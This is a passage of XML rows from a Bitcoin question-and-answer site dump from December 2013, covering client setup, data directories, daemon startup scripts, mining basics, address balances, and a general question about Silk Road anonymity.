  <row Id="19018" PostTypeId="2" ParentId="17788" CreationDate="2013-12-19T03:39:19.647" Score="3" Body="&lt;p&gt;&lt;em&gt;&quot;...if it benefits a large majority of participants.&quot;&lt;/em&gt;, nobody proposes anything ever that will not, at least be presented as, 'benefiting a large majority of participants'.  From 'trickle down economics' to 'you might not agree now with me on this proposal, but you'll agree with me later' gives the people that set the agenda and write, defend and prepare these proposals and technical changes a lot of influence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;secondly, normal politics (as this is politics, not engineering primarily, as for instance now &lt;a href=&quot;https://bitcointalk.org/index.php?topic=60433.0&quot; rel=&quot;nofollow&quot;&gt;BIP16 and BIP17 are evaluated&lt;/a&gt; for implementation and the developers do not agree and seem to have valid points.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although i don't get the impression that the bitcoin developers have dark motives, or don't want the best, i am worried about what is going to happen when the US government starts to try to exert influence over bitcoin. There are already BIP proposals that for instance make it possible for someone to request a payment from a customer, and this greatly reduces anonymity but increases tracability vs. for instance the implementation of zerocoins which would build in automatic mixing and increase anonimity. the US govt, or any government for that matter will use their influence and also power to try to safeguard its (perceived) interests. (i don't know which BIP's these are - but you get the picture)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, if i am not mistaken there is no bitcoin protocol as such, there is just the bitcoin-qt client, a piece of C++ code that is hard to understand (unless you're a C++ programmer) and by the sound of it not unambiguous. This &lt;strong&gt;is&lt;/strong&gt; the protocol, the protocol is written according to how this program works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody has any illuminating thoughts or facts on this issue?&lt;/p&gt;&#xA;" OwnerUserId="11065" LastActivityDate="2013-12-19T03:39:19.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19019" PostTypeId="1" CreationDate="2013-12-19T04:09:00.300" Score="4" ViewCount="962" Body="&lt;p&gt;I've grabbed &quot;Abe&quot; and have started processing the blockchain into a database, but I can't really find documentation on what the various tables mean / are / contain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;abe_lock        &#xA;block           &#xA;block_next      &#xA;block_tx        &#xA;block_txin      &#xA;chain           &#xA;chain_candidate &#xA;configvar       &#xA;datadir         &#xA;magic           &#xA;orphan_block    &#xA;policy          &#xA;pubkey          &#xA;tx              &#xA;txin            &#xA;txout           &#xA;unlinked_txin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can make some guesses, but documentation would be better. Can anyone explain what's in each of these, or point me to some documentation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you, if you can help!&lt;/p&gt;&#xA;" OwnerUserId="11064" LastActivityDate="2015-01-31T07:16:31.240" Title="Meaning of the Tables in the Blockchain Database" Tags="|database|abe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19020" PostTypeId="1" CreationDate="2013-12-19T04:49:50.770" Score="2" ViewCount="321" Body="&lt;p&gt;A lot of times, people say Bitcoin is anonymous, but I know most transactions can be easily traced using IPs that used ewallets and by making connection with other bitcoin addresses. So with that in mind, I'm curious if someone had bought something on Silk Road (or any other place) - wouldn't they need to have that product delivered eventually to some address where they could pick it up? How did that affect anonymity? Or were drop off locations used or something? I'm just curious how that worked.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="11002" LastEditorUserId="121614" LastEditDate="2023-10-15T16:51:20.933" LastActivityDate="2023-10-15T16:51:20.933" Title="How did Silk Road work when it came to delivering product anonymously?" Tags="|privacy|silk-road|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19021" PostTypeId="2" ParentId="10683" CreationDate="2013-12-19T07:04:14.743" Score="0" Body="&lt;p&gt;As far as I can tell, is_your_order is used when their system doesn't fill the orders right away and their system generates new orders for smaller amounts to split up your original order into multiple new orders. For instance, I put in a sell order for 1btc. In my trade history, I see 3 transactions related to that single order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  { pair: 'btc_usd',&#xA;  type: 'sell',&#xA;  amount: 0.441969,&#xA;  rate: 7.7,&#xA;  order_id: 87505,&#xA;  is_your_order: 0,&#xA;  timestamp: 126 }&#xA;&#xA;  { pair: 'btc_usd',&#xA;  type: 'sell',&#xA;  amount: 0.16,&#xA;  rate: 7.672,&#xA;  order_id: 87402,&#xA;  is_your_order: 0,&#xA;  timestamp: 126 }&#xA;&#xA;  { pair: 'btc_usd',&#xA;  type: 'sell',&#xA;  amount: 0.398031,&#xA;  rate: 7.54,&#xA;  order_id: 87208,&#xA;  is_your_order: 0,&#xA;  timestamp: 127 }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've modified the numbers to lose some precision to mask my transaction information a bit, but if you notice, the order_id's are different and so are the rates!&lt;/p&gt;&#xA;" OwnerUserId="11071" LastEditorUserId="11071" LastEditDate="2013-12-28T16:42:11.600" LastActivityDate="2013-12-28T16:42:11.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19022" PostTypeId="1" CreationDate="2013-12-19T07:16:46.583" Score="1" ViewCount="487" Body="&lt;p&gt;Using 0.6.6.2 on a mac mini; has been running for 56 hours now, still not fully synchronised; is there a way to monitor whether the program is actually doing something or just stuck? would the 0.8.x be faster?&lt;/p&gt;&#xA;" OwnerUserId="11073" LastEditorUserId="132" LastEditDate="2014-01-19T11:40:38.447" LastActivityDate="2014-01-19T11:40:38.447" Title="Is there a way to monitor what bitcoin-qt is doing on a mac os x?" Tags="|bitcoin-core|synchronization|mac|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19023" PostTypeId="2" ParentId="17917" CreationDate="2013-12-19T07:22:47.403" Score="2" Body="&lt;p&gt;You can use this &lt;a href=&quot;https://talk.peercoin.net/t/guide-for-cpu-and-gpu-peercoin-mining-on-mac-os-x-tested/1067&quot; rel=&quot;nofollow noreferrer&quot;&gt;simple guide&lt;/a&gt; from peercointalk to help you mine on a mac.&lt;/p&gt;&#xA;" OwnerUserId="11074" LastEditorUserId="38700" LastEditDate="2019-10-17T08:33:50.247" LastActivityDate="2019-10-17T08:33:50.247" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19026" PostTypeId="2" ParentId="19020" CreationDate="2013-12-19T07:59:04.697" Score="1" Body="&lt;p&gt;Regarding bitcoins, all the funds were mixed using various techniques to prevent coin tracking. It is propably better to not use a web wallet in this case. Using the Tor network allowed to prevent being tracked by IP. Although you might think bitcoin is not 100% anonymous, it is anonymous enough so that no scammer/hacker/thief has ever been caught using only the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my knowledge products were compressed and sent to the customers' home address in letters. Apparently that's not a problem for small orders.&lt;/p&gt;&#xA;" OwnerUserId="11076" LastActivityDate="2013-12-19T07:59:04.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19029" PostTypeId="1" CreationDate="2013-12-19T10:35:38.627" Score="1" ViewCount="54" Body="&lt;p&gt;I would like to buy bitcoins in one currency and withdraw them in another at the exact price I bought them at - same day (I want to avoid all risk of fluctuating prices). Is there somewhere that offers this service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="11081" LastActivityDate="2013-12-19T10:35:38.627" Title="Avoiding price fluctuations when transfering money" Tags="|exchange-rate|wire-transfers|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19030" PostTypeId="1" AcceptedAnswerId="19033" CreationDate="2013-12-19T10:40:10.803" Score="2" ViewCount="1253" Body="&lt;p&gt;I want to make portable client so I found with &lt;code&gt;start bitcoin-qt.exe -datadir=data&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But where is default data dir so I can move it there?&lt;/p&gt;&#xA;" OwnerUserId="6009" LastActivityDate="2014-09-01T19:37:49.567" Title="where is default Bitcoin-Qt data directory?" Tags="|client|portable|" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-20T08:31:12.597" ContentLicense="CC BY-SA 3.0" />
  <row Id="19031" PostTypeId="1" AcceptedAnswerId="19039" CreationDate="2013-12-19T10:42:20.857" Score="1" ViewCount="701" Body="&lt;p&gt;When I ask the real concept, that's because I can't understand how those math processing can generate something, I mean, if you think in a way to generate &quot;money&quot;. I know it may sound like stupid questions, but I'd like to clarify my ideas.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When you mine bitcoin, where those bitcoins come from? Who put it there?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="10973" LastEditorUserId="5406" LastEditDate="2016-04-25T21:10:44.213" LastActivityDate="2016-04-25T21:11:41.373" Title="When you mine bitcoin, where does it come from?" Tags="|mining-reward|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19032" PostTypeId="2" ParentId="17113" CreationDate="2013-12-19T10:42:38.427" Score="4" Body="&lt;p&gt;The coins you purchase are stored in an address owned by Coinbase.  This allows them to buy and sell coins using their hot wallet as well as allowing them to move excess coins to cold storage.  It also allows them to process send requests between Coinbase users using off-blockchain transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The coins won't show up in an address owned by you until you send the coins to a non-Coinbase address.  When you do send the coins, two transactions will be generated by Coinbase.  The first transaction moves the coins from an address controlled by Coinbase to a new address controlled by you.  The second transaction then moves the coins from this address to the address you specified in the send request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can send coins to any of the addresses shown in your Coinbase wallet.  Or you can generate a new address at any time to receive deposits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Coinbase keeps just a percentage of the coins in their hot wallet, this can lead to a delay in sending coins if they need to move coins from cold storage back to their hot wallet.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-19T10:42:38.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19033" PostTypeId="2" ParentId="19030" CreationDate="2013-12-19T10:45:48.003" Score="4" Body="&lt;p&gt;It depends on your operating system.  Read about it &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Linux&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/.bitcoin/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mac&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/Library/Application Support/Bitcoin/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Windows&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Documents and Settings\YourUserName\Application data\Bitcoin (XP)&#xA;&#xA;C:\Users\YourUserName\Appdata\Roaming\Bitcoin (Vista and 7)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9301" LastEditorUserId="12039" LastEditDate="2014-09-01T19:37:49.567" LastActivityDate="2014-09-01T19:37:49.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19034" PostTypeId="1" AcceptedAnswerId="19042" CreationDate="2013-12-19T10:57:37.237" Score="2" ViewCount="966" Body="&lt;p&gt;On windows should I and how to update qt client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(btw I'm running dogecoin qt client but it's pretty alike)&lt;/p&gt;&#xA;" OwnerUserId="6009" LastActivityDate="2013-12-19T14:54:21.683" Title="Should I / And how to update qt client?" Tags="|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19037" PostTypeId="2" ParentId="13795" CreationDate="2013-12-19T12:01:27.487" Score="16" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: Caveat emptor on Ubuntu distributions from 14.10 and forward - &lt;a href=&quot;http://www.markshuttleworth.com/archives/1316&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;init&lt;/code&gt; was chosen over &lt;code&gt;upstart&lt;/code&gt; and is being phased in the future&lt;/a&gt;. I don't know when that will be done nor what impact it will have on upstart scripts.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=25518.0&quot; rel=&quot;noreferrer&quot;&gt;Extract from the page RentFree refers to&lt;/a&gt;; note that it assumes that you have created a user called &lt;code&gt;bitcoinuser&lt;/code&gt; for the sake of security:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For those running ubuntu, you may be familiar with &lt;a href=&quot;http://upstart.ubuntu.com/&quot; rel=&quot;noreferrer&quot;&gt;upstart&lt;/a&gt;, a replacement for &lt;code&gt;sysvinit&lt;/code&gt; style booting (&lt;code&gt;/etc/init.d/*&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Configuration files for upstart are stored under &lt;code&gt;/etc/init/*.conf&lt;/code&gt;. I've written the following one for bitcoind:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;description &amp;quot;bitcoind&amp;quot;&#xA;&#xA;start on filesystem&#xA;stop on runlevel [!2345]&#xA;oom score -500&#xA;expect fork&#xA;respawn&#xA;respawn limit 10 60 # 10 times in 60 seconds&#xA;&#xA;script&#xA;user=bitcoinuser&#xA;home=/home/$user&#xA;cmd=$home/bin/bitcoind&#xA;pidfile=$home/bitcoind.pid&#xA;# Don't change anything below here unless you know what you're doing&#xA;[[ -e $pidfile &amp;amp;&amp;amp; ! -d &amp;quot;/proc/$(cat $pidfile)&amp;quot; ]] &amp;amp;&amp;amp; rm $pidfile&#xA;[[ -e $pidfile &amp;amp;&amp;amp; &amp;quot;$(cat /proc/$(cat $pidfile)/cmdline)&amp;quot; != $cmd* ]] &amp;amp;&amp;amp; rm $pidfile&#xA;exec start-stop-daemon --start -c $user --chdir $home --pidfile $pidfile --startas $cmd -b -m&#xA;end script&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Put the above configuration in &lt;code&gt;/etc/init/bitcoind.conf&lt;/code&gt;, then run &lt;code&gt;sudo initctl reload-configuration&lt;/code&gt;. To start &lt;code&gt;bitcoind&lt;/code&gt;, run &lt;code&gt;sudo start bitcoind&lt;/code&gt;. To stop &lt;code&gt;bitcoind&lt;/code&gt;, run &lt;code&gt;sudo stop bitcoind&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You'll probably want to change the &lt;strong&gt;user&lt;/strong&gt;, &lt;strong&gt;cmd&lt;/strong&gt; and &lt;strong&gt;pidfile&lt;/strong&gt; to something that matches your configuration, or you can use the following as a template:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/home/bitcoinuser&#xA;/home/bitcoinuser/bitcoind.pid&#xA;/home/bitcoinuser/bin/bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Though one user suggests the following correction to the configuration:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;home=/home/$user&#xA;cmd=/usr/bin/bitcoind&#xA;pidfile=$home/.bitcoin/bitcoind.pid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and another suggests setting &lt;code&gt;nice&lt;/code&gt; for the process so it doesn't hog the CPU&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;exec start-stop-daemon --start -c $user --chdir $home --pidfile $pidfile --startas $cmd -b --nicelevel 15 -m&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="11084" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-01-18T15:03:41.360" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19038" PostTypeId="1" AcceptedAnswerId="19047" CreationDate="2013-12-19T12:46:36.210" Score="6" ViewCount="1698" Body="&lt;p&gt;After reading &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3968/have-there-been-attempts-at-a-bitcoin-powered-general-purpose-database&quot;&gt;&quot;Have there been attempts at a Bitcoin-powered general purpose database?&quot;&lt;/a&gt;, I'm wondering if any other uses have been made (or proposed) of the blockchain and Bitcoin protocol that aren't solely about financial transactions (and directly related activities like mining)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Perhaps something similar to &lt;a href=&quot;https://en.wikipedia.org/wiki/Bitmessage&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitmessage&lt;/a&gt;, but using Bitcoin itself rather than simply taking inspiration from it.)&lt;/p&gt;&#xA;" OwnerUserId="11046" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-12-21T22:43:01.667" Title="Are there any non-monetary uses for the blockchain, or the Bitcoin protocol generally?" Tags="|blockchain|protocol|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19039" PostTypeId="2" ParentId="19031" CreationDate="2013-12-19T12:56:47.780" Score="2" Body="&lt;p&gt;Short answer, but it really only scratches the surface:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The same process that is called &quot;mining&quot; also creates those Bitcoins. Meaning, you actually create them yourself but it can only done by solving a very difficult mathematical problem. The first one to solve that problem will get the reward. It is also important to mention that by solving of that mathematical problem the integrity of the Bitcon network is created (in terms of secure transactions).&lt;/li&gt;&#xA;&lt;li&gt;There some exchanges, like Mtgox, BTC-e, Kraken, to name only a few where you can exchange Bitcoin for real money though the process of actually getting the money to your banc account can be very lenghty. There are also also a few Bitcoin ATMs, for instance in Canada of Finland and there are also sites where you can find people in your area who are willing to exchange your Bitcoins for real money.&lt;/li&gt;&#xA;&lt;li&gt;This is hardcoded in the software used by the computers which creates the Bitcoin network. Roughly every 10 minutes, a new &quot;transaction block&quot; is created and as fixed reward is issued for this task. Currently this reward is 25 BTC but it will get lower continuously until around the year 2140 it will drop to practically zero. At that point 21 million Bitocins will have been created and that is the total sum of all Bitcoins that will ever be created (unless the software used by the Bitcoin nodes is changed in that aspect).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The most important point to realize about Bitcoin and what many people get wrong in the beginning is that there actually is not thing like a &quot;Bitcoin&quot;. You do not have some kind of encrypted files in your wallet that represent a Bitcoin. The Bitcoin network essentially is a kind of distributed ledger system that keeps track of all transactions made within that system resulting on certain amounts of &quot;Bitcoin&quot; associated to a certain address (or account number). If you send somebody Bitcoin, you will actually transfer it from one address to another. Do be able to do that, you need to be in the posession of the private key for that address. This private key is what is stored in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you should really check out some of the great resources about that topic. For instance, check these out: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Primer:&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=Um63OQz3bjo&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=Um63OQz3bjo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More In-Depth:&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=O0oDDIy0P2s&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=O0oDDIy0P2s&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4679" LastEditorUserId="4679" LastEditDate="2013-12-20T14:14:34.597" LastActivityDate="2013-12-20T14:14:34.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19040" PostTypeId="1" AcceptedAnswerId="19044" CreationDate="2013-12-19T13:11:46.893" Score="14" ViewCount="11512" Body="&lt;p&gt;I know blockchain.info has an API: &lt;a href=&quot;https://blockchain.info/q/addressbalance/134dV6U7gQ6wCFbfHUz2CMh6Dth72oGpgH&quot;&gt;https://blockchain.info/q/addressbalance/134dV6U7gQ6wCFbfHUz2CMh6Dth72oGpgH&lt;/a&gt;&#xA;gets the bitcoin address's balance,but it's not open source and must connect to the Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I find the open source website blockexplorer.com has not show the right balance:&#xA;&lt;a href=&quot;http://blockexplorer.com/testnet/address/134dV6U7gQ6wCFbfHUz2CMh6Dth72oGpgH&quot;&gt;http://blockexplorer.com/testnet/address/134dV6U7gQ6wCFbfHUz2CMh6Dth72oGpgH&lt;/a&gt;&#xA;It gets 0 but not 1250000 from blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried bitcoin-qt client debug console:&#xA;getbalance 134dV6U7gQ6wCFbfHUz2CMh6Dth72oGpgH&#xA;But it returns 0 whenever the address is not mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I get someone else's bitcoin address's balance?&lt;/strong&gt;&#xA;The bitcoin database is big and hard to check every transaction to get the balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there any source code or API easy to use?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="11057" LastEditorUserId="11057" LastEditDate="2013-12-19T15:40:51.153" LastActivityDate="2014-11-10T08:51:52.437" Title="How to get a bitcoin address's balance?" Tags="|bitcoind|client|bitcoin-core|address|block|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19041" PostTypeId="2" ParentId="19038" CreationDate="2013-12-19T14:24:59.930" Score="7" Body="&lt;p&gt;Proof of Existence is a good example of innovative use of Bitcoin network. The idea is as follows: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;use our service to anonymously and securely store an online distributed proof of existence for any document. Your documents are NOT stored in our database or in the Bitcoin blockchain, so you don't have to worry about your data being accessed by others.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More details:&#xA;&lt;a href=&quot;http://www.proofofexistence.com/about&quot;&gt;http://www.proofofexistence.com/about&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10905" LastActivityDate="2013-12-19T14:24:59.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19042" PostTypeId="2" ParentId="19034" CreationDate="2013-12-19T14:54:21.683" Score="2" Body="&lt;p&gt;You should keep Bitcoin-Qt up to date since the developers occasionally make changes to some of the rules (such as the minimum transaction fee).  It is easy to update - just replace everything in the Bitcoin-Qt install directory (don't touch the Bitcoin-Qt data directory).&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-19T14:54:21.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19044" PostTypeId="2" ParentId="19040" CreationDate="2013-12-19T14:55:32.390" Score="4" Body="&lt;p&gt;blockexplorer.com &lt;strong&gt;does&lt;/strong&gt; show the right balance. However, you are looking up in the Testnet blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The right request is the following:&#xA;&lt;a href=&quot;http://blockexplorer.com/address/134dV6U7gQ6wCFbfHUz2CMh6Dth72oGpgH&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/address/134dV6U7gQ6wCFbfHUz2CMh6Dth72oGpgH&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you open that link, you will see that it shows the right balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you have mentioned, blockexplorer.com is open source, so you probably want to look at the source code to find out how the mechanism you are interested in works.&lt;/p&gt;&#xA;" OwnerUserId="10862" LastActivityDate="2013-12-19T14:55:32.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19045" PostTypeId="1" CreationDate="2013-12-19T15:11:26.677" Score="5" ViewCount="1721" Body="&lt;p&gt;I have the 32-bytes double hash of a transaction, a 32-bytes private key, and I would like to sign the hash using the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do that using BouncyCastle (or anything, really), in C# or Java? Can somebody point me to a code sample?&lt;/p&gt;&#xA;" OwnerUserId="2716" LastActivityDate="2016-08-22T01:51:03.850" Title="Code sample to sign a transaction" Tags="|raw-transaction|signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19046" PostTypeId="1" CreationDate="2013-12-19T15:46:27.737" Score="1" ViewCount="651" Body="&lt;p&gt;I downloaded the multibit application for windows and was wondering if there was a way to scan a QR code with my webcam? If so where do I click because I dont see an option and no way am I going to type out an address everytime.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-01-18T17:15:20.623" Title="How to scan QR code with multibit wallet application?" Tags="|wallet|multibit|qrcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19047" PostTypeId="2" ParentId="19038" CreationDate="2013-12-19T16:10:10.520" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;The blockchain basically implement a time-stamp infrastructure. Here are some examples: search for &quot;Satoshi Proof Android&quot; and &quot;BTProof&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/BitcoinPayment&quot; rel=&quot;nofollow&quot;&gt;SPAM mitigation&lt;/a&gt;: &quot;BitcoinPayment is a MediaWiki extension to limit spam, by requiring a small one-time bitcoin payment before a user is allowed to edit or create pages. While the payment is deliberately trivially small for a normal user, it presents a barrier to a mass-spammer.&quot;&lt;/li&gt;&#xA;&lt;li&gt;Online identity/reputation management: search for &quot;Keyhotee&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.iamsatoshi.com/internet-voting-systems-bitcoin-restart-democracy/&quot; rel=&quot;nofollow&quot;&gt;Voting mechanism&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Those are only a few I can think about right now.&lt;/p&gt;&#xA;" OwnerUserId="11094" LastEditorUserId="1891" LastEditDate="2013-12-21T13:15:33.403" LastActivityDate="2013-12-21T13:15:33.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19048" PostTypeId="1" AcceptedAnswerId="19664" CreationDate="2013-12-19T16:16:19.913" Score="0" ViewCount="396" Body="&lt;p&gt;How do I find out how much hashing power am I providing to the network? What is the command to find it out? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I see this: &lt;a href=&quot;http://prntscr.com/2cd3zo&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/2cd3zo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I run:  &lt;strong&gt;watch 'datacoind listaccounts &amp;amp; datacoind getmininginfo'&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-05-02T04:11:04.623" Title="Mining a primecoin based currency (datacoin). How do I find out how much hash power im doing?" Tags="|hash|datacoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19049" PostTypeId="2" ParentId="13795" CreationDate="2013-12-19T16:18:23.790" Score="2" Body="&lt;p&gt;I've never run it before. You said that bitcoind is a daemon, so here how to configure a daemon to run at startup : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally a daemon has its init script in &lt;code&gt;/etc/init.d/&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo /etc/init.d/bitcoind start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the daemon needs to be initialized at startup, then it will be linked in &lt;code&gt;/etc/rc0.d/&lt;/code&gt; or &lt;code&gt;/etc/rc1.d/&lt;/code&gt; or ... &lt;code&gt;/etc/rc6.d/&lt;/code&gt; ... etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0 -&gt; 6 are runlevels :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 - Halt&#xA;1 - Single User Mode&#xA;2 - Multiuser&#xA;3 - Full Multiuser Mode&#xA;4 - unused&#xA;5 - Full Multiuser Mode with x11&#xA;6 - Reboot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can also add the script that your daemon runs in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/rc.local&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it is a python script you can write to that file :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python /directory/to/init/script/bitcoind.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another alternative is to execute &lt;code&gt;update-rc.d&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo update-rc.d bitcoind defaults&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;defaults&lt;/code&gt; , will tells &lt;code&gt;update-rc.d&lt;/code&gt; to run a default configuration, when it comes to runlevel . You can change your runlevel, this is an exampl : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update-rc.d bitcoind start 20 2 3 4 5 . stop 20 0 1 6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;run &lt;code&gt;man update-rc.d&lt;/code&gt; , there are other examples 